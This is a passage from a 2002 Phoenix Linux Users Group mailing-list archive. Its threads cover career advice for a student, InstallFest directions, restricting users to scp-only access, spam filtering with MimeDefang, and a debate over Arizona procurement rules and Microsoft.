thing, than I doubt software engineer is what you really want to be. That attitude probably comes across in interviews too. One place to look for jobs is on geekjobs.org Get on their email list. Am 19. Jun, 2002 schwätzte MCR so: > I have a question to ask of the group. Maybe a favor, > so to speak. I am starting my junior year at ASU in > Computer Science. Right now I work in a Hotel, and I > really don't like my job. I keep trying to apply for > jobs in the computer field, however I have never had a > job of this type before, which is making it difficult > for me. > My question is would anyone be willing or able to help > me get experience, so I can get a job in the Computer > field. I am highly interested in Networking, but any > work involving computers would be good. I am working > toward a career as a software engineer, so even > programming would work. If someone would be willing, > the idea I have is if someone would be willing to take > me on as an apprentice for a couple of months > to teach me the "ropes". I would be willing to work > part-time, and for free, in exchange for the knowledge > and a recommendation /reference if it is deserved. Tom Achtenberg Developer, Information Technologies Food for the Hungry / US (480) 609-7750 (voice) (480) 443-1420 (fax) TomA@fh.org From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 16:41:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Thu, 20 Jun 2002 12:41:02 -0400 Subject: Map to SCC for the Installfest Message-ID: At the top of the main page is a link to "More InstallFest Information." Click that link to get to the InstallFest web site. From there, click the Maps link near the right side. You are right, there is not a direct link to the maps on the main PLUG web site. Can this be corrected? Alan On Thu, 20 Jun 2002 09:26:41 -0700 Scott Sawyer wrote: The Press release mentions that there is a map to SCC on the primary website. I wasn't able to find it. -Scott Scott Sawyer Engagement Manager - Red Hat Inc. http://www.redhat.com Scott Sawyer Digital Photography http://www.scottsawyer.org Member of Linux Users of Northern Arizona http://luna.flagstaff.az.us ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 16:41:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Thu, 20 Jun 2002 12:41:02 -0400 Subject: Map to SCC for the Installfest Message-ID: At the top of the main page is a link to "More InstallFest Information." Click that link to get to the InstallFest web site. From there, click the Maps link near the right side. You are right, there is not a direct link to the maps on the main PLUG web site. Can this be corrected? Alan On Thu, 20 Jun 2002 09:26:41 -0700 Scott Sawyer wrote: The Press release mentions that there is a map to SCC on the primary website. I wasn't able to find it. -Scott Scott Sawyer Engagement Manager - Red Hat Inc. http://www.redhat.com Scott Sawyer Digital Photography http://www.scottsawyer.org Member of Linux Users of Northern Arizona http://luna.flagstaff.az.us ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 16:41:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bill Warner) Date: 20 Jun 2002 09:41:07 -0700 Subject: Limiting a user to scp and not ssh In-Reply-To: References: Message-ID: <1024591268.12366.33.camel@wwarner> Your probably better off just setting there shell to /bin/false in /etc/passwd. If there is every any kind of security hole in scp that someone could exploit they could get in to your box with your current setup. Bill Warner On Wed, 2002-06-19 at 18:48, Matt Alexander wrote: > I'm trying to configure a box so people can scp files to it, but can't > actually ssh in. I created a script named scpsh with this in it: > > #!/bin/sh > # > exec /usr/bin/scp -t $HOME > > > Then I added scpsh to /etc/shells and made it their shell in > /etc/passwd. > So now users can use scp to copy files over just fine, but when they try > to ssh, it sits there until they hit a key, at which point they get: > > scp: protocol error: unexpected > Connection to 1.2.3.4 closed. > > > Is this the best way to handle this? Is there a better way that anyone > knows of? > Thanks, > ~M > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Bill Warner Unix/Linux Admin. Direct Alliance Corporation Company required stuff: Contents are Direct Alliance Corporation Confidential This message is for the designated recipient(s) only and contains Direct Alliance Corporation privileged and confidential information. If you have received it in error, please notify the sender immediately and delete the original. Any other use of this email is prohibited. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 17:06:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Thu, 20 Jun 2002 10:06:40 -0700 Subject: Map to SCC for the Installfest In-Reply-To: <5.1.0.14.2.20020620092146.02210140@mail.scottsawyer.org> References: <5.1.0.14.2.20020620092146.02210140@mail.scottsawyer.org> Message-ID: <0206201006400A.01526@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 The PLUG website should have a link to the Install Fest web site right at the top. If not, it is at www.plugpresents.com/installfest. On Thursday 20 June 2002 09:26, you wrote: > The Press release mentions that there is a map to SCC on the primary > website. I wasn't able to find it. > > -Scott > > > Scott Sawyer > Engagement Manager - Red Hat Inc. > http://www.redhat.com Scott Sawyer Digital > Photography http://www.scottsawyer.org > Member of Linux Users of Northern > Arizona http://luna.flagstaff.az.us > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRILoisk3ywszI1FEQK8OQCgifne+y/cQMj5uQ23mWx7k+SZKvoAnA5r MpuU+jFvQjMBpPGILBr++2Uk =+POy -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 16:55:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 20 Jun 2002 09:55:32 -0700 Subject: SMTP mail relay server for SPAM filtering In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B4F9@mail.int.fh.org> References: <4A8DFDA6B395D411A11B00508BEE23FE76B4F9@mail.int.fh.org> Message-ID: <1024592132.29714.18.camel@barney.azapple.com> what's mime-defang have to do with spam? Craig On Thu, 2002-06-20 at 09:37, Tom Achtenberg wrote: > We are using MimeDefang very successfully. > > -------------------original message------------------------- > > Date: Thu, 20 Jun 2002 04:03:49 -0400 (EDT) > From: Scott Henderson > To: plug-discuss@lists.plug.phoenix.az.us > Subject: SMTP mail relay server for SPAM filtering > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > My company, like many, I'm sure, is wrestling with spam email. > Currently we're handling it manually, creating blocks on our > Exchange server based on IP addresses. We are not being given > any budget to solve this problem, but we do have a few spare > servers sitting around. I'm thinking this may be an opportunity > to show the MS-based IT Dept what can be done with some Open > Source software. I'd like suggestions on how to set up an SMTP > mail relay box and anti-spam software. I have a year or so > experience with a few Linux distros on my desktop and laptop at > home, so I'm no wizard, but I can usually find my way around. > Is this doable? We average around 6-700 SMTP emails per hour > during the day, and spike to maybe 1500 on occasion. I want to > set the box up inside the DMZ, in front of the Exchange server, > and just have it relay to and from that box. What distro? What > software? How to config? Any HOWTOs on this or other resources? > Thanks much! > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 16:57:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Thu, 20 Jun 2002 09:57:17 -0700 (PDT) Subject: Limiting a user to scp and not ssh In-Reply-To: <1024591268.12366.33.camel@wwarner> Message-ID: Uhhh... but I want them to be able to scp to my box. If I set their shell to /bin/false, they can't scp in. On 20 Jun 2002, Bill Warner wrote: > Your probably better off just setting there shell to /bin/false in > /etc/passwd. > > If there is every any kind of security hole in scp that someone could > exploit they could get in to your box with your current setup. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 17:09:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike) Date: Thu, 20 Jun 2002 12:09:53 -0500 Subject: Limiting a user to scp and not ssh In-Reply-To: <1024591268.12366.33.camel@wwarner>; from wwarner@direct-alliance.com on Thu, Jun 20, 2002 at 09:41:07AM -0700 References: <1024591268.12366.33.camel@wwarner> Message-ID: <20020620120953.B25130@lilly.csoft.net> I seem to recall a setup which uses the keys in ssh to restrict access. I think I read this in SysAdmin a few (many?) months ago. Not sure if this would apply to your situation, but it may warrant further investigation. v/r Mike On Thu, Jun 20, 2002 at 09:41:07AM -0700, Bill Warner wrote: Your probably better off just setting there shell to /bin/false in /etc/passwd. If there is every any kind of security hole in scp that someone could exploit they could get in to your box with your current setup. Bill Warner On Wed, 2002-06-19 at 18:48, Matt Alexander wrote: > I'm trying to configure a box so people can scp files to it, but can't > actually ssh in. I created a script named scpsh with this in it: > > #!/bin/sh > # > exec /usr/bin/scp -t $HOME > > > Then I added scpsh to /etc/shells and made it their shell in > /etc/passwd. > So now users can use scp to copy files over just fine, but when they try > to ssh, it sits there until they hit a key, at which point they get: > > scp: protocol error: unexpected > Connection to 1.2.3.4 closed. > > > Is this the best way to handle this? Is there a better way that anyone > knows of? > Thanks, > ~M > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Bill Warner Unix/Linux Admin. Direct Alliance Corporation Company required stuff: Contents are Direct Alliance Corporation Confidential This message is for the designated recipient(s) only and contains Direct Alliance Corporation privileged and confidential information. If you have received it in error, please notify the sender immediately and delete the original. Any other use of this email is prohibited. ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 17:06:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jeffrey Pyne) Date: Thu, 20 Jun 2002 10:06:09 -0700 Subject: Apple has some big brass ones! Message-ID: It's actually a whole series of ads. They're testimonials from "real people" (a writer, an artist, etc.) who hated their PCs and switched to a Mac. You can see more of the ads at http://www.apple.com/switch/ads. I think the campaign is pretty clever. ~Jeff On Wednesday, June 19, 2002 11:17 PM, robert jorgenson wrote: > i dont know if anyone has seen it yet but apple has a new > commercial out. Its basically a guy who says hes a windows > LAN admin talking about how muh better OSX is than windows. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 17:12:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Thu, 20 Jun 2002 10:12:15 -0700 Subject: Help getting experience In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B4FA@mail.int.fh.org> References: <4A8DFDA6B395D411A11B00508BEE23FE76B4FA@mail.int.fh.org> Message-ID: <200206201012.27221.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Thursday 20 June 2002 09:41 am, Tom Achtenberg wrote: > I'm a little concerned that someone who wants to be a Software Engineer > would say "even programming would work." If you're looking at > programming as a last resort type thing, than I doubt software engineer > is what you really want to be. That attitude probably comes across in > interviews too. Don't be too harsh. I was in his situation not too long ago, and I had the same feeling. I _love_ designing/implementing systems, but ASU doesn't exactly teach you how to do this. After being around all the superstars in the free software community, it is easy to feel that you would simply fail at a programming position. The key is to love what you do and work where you can ease into the position. Of course, maybe he really doesn't like programming, in which case it will be awfully tough to get into systems design without being a "code monkey" first. - -- Logan Kennelly ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9EgzzpNoctRtUIRQRAikIAJ9WTa06KL4ssayqA9FYe+BrK+RvEgCgjG3x J+vCG3MyxhHWZx3nGPzg3/g= =cAaU -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 17:22:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Thu, 20 Jun 2002 13:22:35 -0400 Subject: Map to SCC for the Installfest Message-ID: I think Steve's point is that the press release says "A map is available online at PLUG's web site, ( http://plug.phoenix.az.us ). " The main page does NOT have a map or an obvious link to a map. There should be one since the press release says we have a map at that URL. Just a "InstallFest map here." linking to http://www.plugpresents.com/installfest/maps.html would be good enough. Alan On Thu, 20 Jun 2002 10:06:40 -0700 Jim wrote: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 The PLUG website should have a link to the Install Fest web site right at the top. If not, it is at www.plugpresents.com/installfest. On Thursday 20 June 2002 09:26, you wrote: > The Press release mentions that there is a map to SCC on the primary > website. I wasn't able to find it. > > -Scott From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 17:43:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Thu, 20 Jun 2002 10:43:11 -0700 Subject: Fw: Computer Purchasing Guidelines In-Reply-To: <02061909574107.01526@nova.wedge.org> References: <5.1.0.14.0.20020619093307.024ec210@localhost> <006f01c2174b$5e9e3d90$42c8a8c0@schnauzer> <5.1.0.14.0.20020619093307.024ec210@localhost> Message-ID: <5.1.0.14.0.20020620104215.024cbd90@localhost> I was wondering because I do know a civil attorney that might take it on but since I don't know for sure, I will call him anyway just to see. Kimi At 6/19/02, you wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > >IMHO, which is decidedly non-legal, I think that debarment proceedings are >neither civil nor criminal, but rather a violation of procurement rules. I >could be wrong, but if my reading of the procurement rules is accurate, MS >could be debarred from contracting with the state, its departments, its >school districts, and its cities and municipalities. > >On Wednesday 19 June 2002 09:34, you wrote: > > Would this be civil? > > > > Kimi > > > > At 6/19/02, you wrote: > > >-----BEGIN PGP SIGNED MESSAGE----- > > >Hash: SHA1 > > > > > >According to the state administrative rules, it looks like most if not all > > > of the school districts could be required to initiate debarment > > > proceedings against MS. Anyone know an attorney who is willing to take > > > something like this on pro-bono? > > > > > >On Tuesday 18 June 2002 21:39, you wrote: > > > > Here is the response I received from David Cantelme, Deer Valley school > > > > board member. He is the one who has arizonalawinstitute@yahoo.com as > > > > his email address. It sounds to me that all the school districts and > > > > the state itself should be starting debarment proceedings against MS. > > > > We need to start contacting the legislators, Attorney General's office > > > > and your local school superintendents. > > > > > > > > > > > > ----- Original Message ----- > > > > From: "david cantelme" > > > > To: "Tom Achtenberg" > > > > Sent: Tuesday, June 18, 2002 6:08 AM > > > > Subject: Re: Computer Purchasing Guidelines > > > > > > > > > > > > Dear Mr. Actenburg: > > > > > > > > They do not, but similar rules found in the state > > > > school district procurement rules do apply. Both sets > > > > of rules have their origen in the state procurement > > > > code. You can find the school district procurement > > > > rules by going to the secretary of state web site. > > > > Click on administrative rules. Go to title seven. > > > > Then scroll down to R7-2-1001. That's where the rules > > > > begin. They continue to about R7-2-1175. > > > > > > > > Debarment procedures do exist in the school district > > > > procurement rules. You would need to address your > > > > comments on debarment to the adminsitration. That's > > > > who would initiate the procedure. If the > > > > administration initiates a debarment procedure, the > > > > board determines whether to appoint a hearing officer. > > > > It goes from there to the officer with appropriate > > > > due process to the contractor. The board itself has > > > > no involvement in the hearing process. The officer > > > > must be independent to ensure a fair hearing under our > > > > constitutional system. > > > > > > > > --- Tom Achtenberg wrote: > > > > > I was wondering if the Maricopa County purchasing > > > > > policies listed below apply > > > > > to DVUSD purchasing pprocedures? > > > > > > > > > > Maricopa County policies. Interesting references: > > > > > > > > > > MC1-101 DEFINITIONS > > > > > 25."CONTRACTOR" means any Person who has a Contract > > > > > with a County > > > > > Governmental unit. For purposes of Article 5, > > > > > Contractor may also mean > > > > > Respondent as defined in this Article. > > > > > 36."DEBARMENT" means an action taken by the County > > > > > Administrative > > > > > Officer under MC1-902 to prohibit a Person from > > > > > Participating in > > > > > Maricopa County Procurements. > > > > > 80."PERSON" means any corporation, Business, > > > > > individual, union, > > > > > committee, club, other organization or group of > > > > > individuals. > > > > > 113."SUSPENSION" means an action taken by the County > > > > > Administrative > > > > > Officer under MC1-902 temporarily disqualifying a > > > > > Person from > > > > > participating in Maricopa County Procurements. > > > > > > > > http://maricopa.gov/materials/p-code/HTML_code/Code-01.htm > > > > > > > > > [Microsoft is considered a Contractor and a Person. > > > > > This is important > > > > > below.] > > > > > > > > > > > > > > > MC1-407 MAXIMUM PRACTICABLE COMPETITION > > > > > All Specifications shall seek to promote overall > > > > > economy for the purpose > > > > > intended and encourage competition in satisfying > > > > > Maricopa County's needs > > > > > and shall not be unduly restrictive. > > > > > > > > http://maricopa.gov/materials/p-code/HTML_code/Code-04.htm#MC1-401 > > > > > > > > > [Is there any technology that is Microsoft > > > > > exclusive? I believe there > > > > > are sites that explain how to replace Exchange > > > > > Server completely using > > > > > Linux/OSS with Qmail; and SQL Server is replaceable > > > > > with mySQL or PostgreSQL; > > > > > IIS & ASP is replaceable with Apache & PHP, The MS > > > > > Office suite is > > > > > replaceable with the very comparable Open Office > > > > > suite.] > > > > > > > > > > > > > > > MC1-902 DEBARMENT AND SUSPENSION OF CONTRACTORS > > > > > B. The causes for Debarment or Suspension shall > > > > > include, but are not > > > > > limited to, the following: > > > > > 2. Conviction of any Person or any subsidiary or > > > > > affiliate of any Person > > > > > under any statute of the Federal government, this > > > > > State or its political > > > > > subdivision or any other State for: > > > > > k. Any other offense indicating a lack of business > > > > > integrity or business > > > > > honesty which affects responsibility as a > > > > > Contractor. > > > > > 3. Conviction or civil judgment finding a violation > > > > > by any Person or any > > > > > subsidiary or affiliate of any Person under State or > > > > > Federal Antitrust > > > > > Statutes. > > > > > > > > http://maricopa.gov/materials/p-code/HTML_code/Code-09.htm#MC1-901 > > > > > > > > > As I read MC1-902.B.3, Microsoft (a Person), having > > > > > been convicted of a > > > > > violation of Federal Antitrust Statues, cannot be a > > > > > County Contractor. > > > > > > > > > > There are many alternatives to Microsofts products. > > > > > Alternatives that have > > > > > broken no laws, Federal or Local, are well supported > > > > > and used by many large > > > > > governments (Germany, Taiwan, et al). As a > > > > > concerned voter in the DVUSD, I > > > > > must point out that I cannot support criminal > > > > > behavior and would hope that my > > > > > Governing Board would see fit to do the same and > > > > > ONLY consider alternatives > > > > > as Microsoft is clearly unqualified to meet District > > > > > requirements. > > > > > > > > > > Thank You, > > > > > > > > > > Tom Achtenberg > > > > > > > > > > PS this message was written ans sent to you using a > > > > > computer that is 100% > > > > > Microsoft free. It uses the Red Hat Linux 7.3 > > > > > operating system, KDE windows > > > > > like desktop and the K-mail email client. All if > > > > > these programs come under > > > > > the "General Public License" which means they are > > > > > 100% free to the public for > > > > > personal and commercial use. > > > > > -- > > > > > Visit the Mountain Ridge Band Site at > > > > > > > > http://www.mrhsband.org > > > > > > > > > > > > __________________________________________________ > > > > Do You Yahoo!? > > > > Yahoo! - Official partner of 2002 FIFA World Cup > > > > http://fifaworldcup.yahoo.com > > > > > > > > > > > > > > > > --- > > > > Outgoing mail is certified Virus Free. > > > > Checked by AVG anti-virus system (http://www.grisoft.com). > > > > Version: 6.0.371 / Virus Database: 206 - Release Date: 6/13/2002 > > > > > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > > post to the list quickly and you use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > >- -- > > >Jim > > > > > >Freedom is worth protecting > > > > > >-----BEGIN PGP SIGNATURE----- > > >Version: PGP 6.5.8 > > > > > >iQA/AwUBPRCqEisk3ywszI1FEQJZDwCg0JBu1f1ffMgVts+N9FxVfc3GwRgAoI3a > > >uqHWgWriXgbXcZvWptly5CtJ > > >=tKg8 > > >-----END PGP SIGNATURE----- > > >________________________________________________ > > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > >post to the list quickly and you use Netscape to write mail. > > > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > >- -- >Jim > >Freedom is worth protecting > >-----BEGIN PGP SIGNATURE----- >Version: PGP 6.5.8 > >iQA/AwUBPRC4BSsk3ywszI1FEQLMygCeP8J3OAAe0HtrEvQsqzXiRt3bHRgAn20/ >jvqee9WrnED2XJex6UfhtK/4 >=EQ9s >-----END PGP SIGNATURE----- >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 17:32:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Joel Dudley) Date: Thu, 20 Jun 2002 10:32:53 -0700 Subject: Help getting experience Message-ID: <7D2FB294FA311F4299D03CC8D3904370716596@mainex5.asu.edu> This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. --Boundary_(ID_tXyl0/9xIm4YavANAGQDkA) Content-type: text/plain; charset="iso-8859-1" As a faculty member at ASU that works with many student programmers I have a few comments to share with you. Are you majoring in computer science so you can program 9-5 or are you geting into computer science because you want the luxury of getting paid for your passion? Both scenarios are valid, however the paradigms involved in the two scenarios can have a great affect on your ability to achieve your desired professional role. If you simply want to program 9-5 and check your code-fu at the door when you come home (which is perfectly acceptable) chances are that 99% of your programming efforts go towards class work. If you are passionate about programming you've likely spent late nights in front of the monitor developing some new firmware for your toaster oven because the firmware that came with it always burns your toast. Of course, in this scenario, the individual will likely put projects like toaster firmware and Kids In The Hall MPEG-4 web bots at a higher priority than his/her schoolwork. Although this individual's grades may be mediocre at best, their passion for development will be overwhelmingly apparent to anyone who inquires. In my experience people who see programming as simply a job are somewhat detached from their projects (Not always however) and will simply do what it takes to meet the requirements. Passionate developers usually exceed all requirements due to the personal pride associated with quality of the product. Ideally, in my opinion, one would be passionate about their professional goals AND get good grades to reflect their passion in their work. Consider a scenario in which an employer has to choose between two applicants. The first applicant is a good programmer, got great grades in school, has a good work ethic, and portrays a professional demeanor. The second applicant has average grades but is the primary investigator for four Source Forge projects and talks excitedly and at length about his projects as if they were his children. Both of these individuals are qualified for the position, but in my experience it is the second applicant that will get the job. The tone of your message makes it sound as if you would "settle" for any computer job although you are really interested in networking. Don't settle, get some 486's at ASU surplus for $5 a piece and network them together. Develop some strange network software (Bayesian route path determination, Intelligent route caching) and throw it up on Source Forge. This is how you create experience for yourself and demonstrate your passion for your desired professional domain. I hope this made sense and was helpful to you in some way. Of course all opinions expressed in this message are not necessarily the views of Arizona State University. Joel Dudley Faculty Research Associate Arizona State University Kumar Laboratory of Evolutionary Functional Genomics http://lsweb.la.asu.edu/skumar/ -----Original Message----- From: MCR [mailto:mike1071@yahoo.com] Sent: Wednesday, June 19, 2002 7:22 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Help getting experience I have a question to ask of the group. Maybe a favor, so to speak. I am starting my junior year at ASU in Computer Science. Right now I work in a Hotel, and I really don't like my job. I keep trying to apply for jobs in the computer field, however I have never had a job of this type before, which is making it difficult for me. My question is would anyone be willing or able to help me get experience, so I can get a job in the Computer field. I am highly interested in Networking, but any work involving computers would be good. I am working toward a career as a software engineer, so even programming would work. If someone would be willing, the idea I have is if someone would be willing to take me on as an apprentice for a couple of months to teach me the "ropes". I would be willing to work part-time, and for free, in exchange for the knowledge and a recommendation /reference if it is deserved. If you think you might be able to help me, please contact me off list at: mike1071@yahoo.com. Thank You, mike __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --Boundary_(ID_tXyl0/9xIm4YavANAGQDkA) Content-type: text/html; charset="iso-8859-1" Content-transfer-encoding: quoted-printable RE: Help getting experience

As a faculty member at ASU that works with many = student programmers I have a few comments to share with you. Are you = majoring in computer science so you can program 9-5 or are you geting = into computer science because you want the luxury of getting paid for = your passion? Both scenarios are valid, however the paradigms involved = in the two scenarios can have a great affect on your ability to achieve = your desired professional role. If you simply want to program 9-5 and = check your code-fu at the door when you come home (which is perfectly = acceptable) chances are that 99% of your programming efforts go towards = class work. If you are passionate about programming you've likely spent = late nights in front of the monitor developing some new firmware for = your toaster oven because the firmware that came with it always burns = your toast. Of course, in this scenario, the individual will likely put = projects like toaster firmware and Kids In The Hall MPEG-4 web bots at = a higher priority than his/her schoolwork. Although this individual's = grades may be mediocre at best, their passion for development will be = overwhelmingly apparent to anyone who inquires. In my experience people = who see programming as simply a job are somewhat detached from their = projects (Not always however) and will simply do what it takes to meet = the requirements. Passionate developers usually exceed all requirements = due to the personal pride associated with quality of the product. = Ideally, in my opinion, one would be passionate about their = professional goals AND get good grades to reflect their passion in = their work. Consider a scenario in which an employer has to choose = between two applicants. The first applicant is a good programmer, got = great grades in school, has a good work ethic, and portrays a = professional demeanor. The second applicant has average grades but is = the primary investigator for four Source Forge projects and talks = excitedly and at length about his projects as if they were his = children. Both of these individuals are qualified for the position, but = in my experience it is the second applicant that will get the job. =

  The tone of your message makes it sound as if = you would "settle" for any computer job although you are = really interested in networking. Don't settle, get some 486's at ASU = surplus for $5 a piece and network them together. Develop some strange = network software (Bayesian route path determination, Intelligent route = caching) and throw it up on Source Forge. This is how you create = experience for yourself and demonstrate your passion for your desired = professional domain. I hope this made sense and was helpful to you in = some way. Of course all opinions expressed in this message are not = necessarily the views of Arizona State University.

Joel Dudley
Faculty Research Associate
Arizona State University
Kumar Laboratory of Evolutionary Functional = Genomics
http://lsweb.la.asu.edu/skumar/
 

-----Original Message-----
From: MCR [mailto:mike1071@yahoo.com]=
Sent: Wednesday, June 19, 2002 7:22 PM
To: plug-discuss@lists.plug.phoenix.az.us
Subject: Help getting experience


I have a question to ask of the group.  Maybe a = favor,
so to speak.  I am starting my junior year at = ASU in
Computer Science.  Right now I work in a Hotel, = and I
really don't like my job.  I keep trying to = apply for
jobs in the computer field, however I have never had = a
job of this type before, which is making it = difficult
for me. 

My question is would anyone be willing or able to = help
me get experience, so I can get a job in the = Computer
field.  I am highly interested in Networking, = but any
work involving computers would be good.  I am = working
toward a career as a software engineer, so = even
programming would work. If someone would be = willing,
the idea I have is if someone would be willing to = take
me on as an apprentice for a couple of months =
to teach me the "ropes".  I would be = willing to work
part-time, and for free, in exchange for the = knowledge
and a recommendation /reference if it is = deserved.

If you think you might be able to help me, = please
contact me off list at:
          &nb= sp;  mike1071@yahoo.com.


          &nb= sp;            = Thank You,
          &nb= sp;           &nb= sp;           &nb= sp;         
          &nb= sp;            = mike
          &nb= sp;           &nb= sp;           &nb= sp;         


__________________________________________________
Do You Yahoo!?
Yahoo! - Official partner of 2002 FIFA World = Cup
http://fifaworldcup.yahoo.com
________________________________________________
See http://PLUG.phoenix.az.us/navigator-mail.shtml if = your mail doesn't post to the list quickly and you use Netscape to = write mail.

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http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-= discuss

= --Boundary_(ID_tXyl0/9xIm4YavANAGQDkA)-- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 17:58:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Thu, 20 Jun 2002 10:58:37 -0700 Subject: SMTP mail relay server for SPAM filtering Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B4FB@mail.int.fh.org> By using the content filtering and message ratings we have been able to eliminate about 95% of the spam we were receiving. Especially all the porno spam. It sits on our VALinux gateway and is doing a great job. Go to http://www.roaringpenguin.com to read about it. Subject: RE: SMTP mail relay server for SPAM filtering From: Craig White To: plug-discuss@lists.plug.phoenix.az.us Date: 20 Jun 2002 09:55:32 -0700 Reply-To: plug-discuss@lists.plug.phoenix.az.us what's mime-defang have to do with spam? Craig On Thu, 2002-06-20 at 09:37, Tom Achtenberg wrote: > We are using MimeDefang very successfully. > > -------------------original message------------------------- > > Date: Thu, 20 Jun 2002 04:03:49 -0400 (EDT) > From: Scott Henderson > To: plug-discuss@lists.plug.phoenix.az.us > Subject: SMTP mail relay server for SPAM filtering > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > My company, like many, I'm sure, is wrestling with spam email. > Currently we're handling it manually, creating blocks on our > Exchange server based on IP addresses. We are not being given > any budget to solve this problem, but we do have a few spare > servers sitting around. I'm thinking this may be an opportunity > to show the MS-based IT Dept what can be done with some Open > Source software. I'd like suggestions on how to set up an SMTP > mail relay box and anti-spam software. I have a year or so > experience with a few Linux distros on my desktop and laptop at > home, so I'm no wizard, but I can usually find my way around. > Is this doable? We average around 6-700 SMTP emails per hour > during the day, and spike to maybe 1500 on occasion. I want to > set the box up inside the DMZ, in front of the Exchange server, > and just have it relay to and from that box. What distro? What > software? How to config? Any HOWTOs on this or other resources? > Thanks much! > --__--__-- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 18:31:50 2002 From: 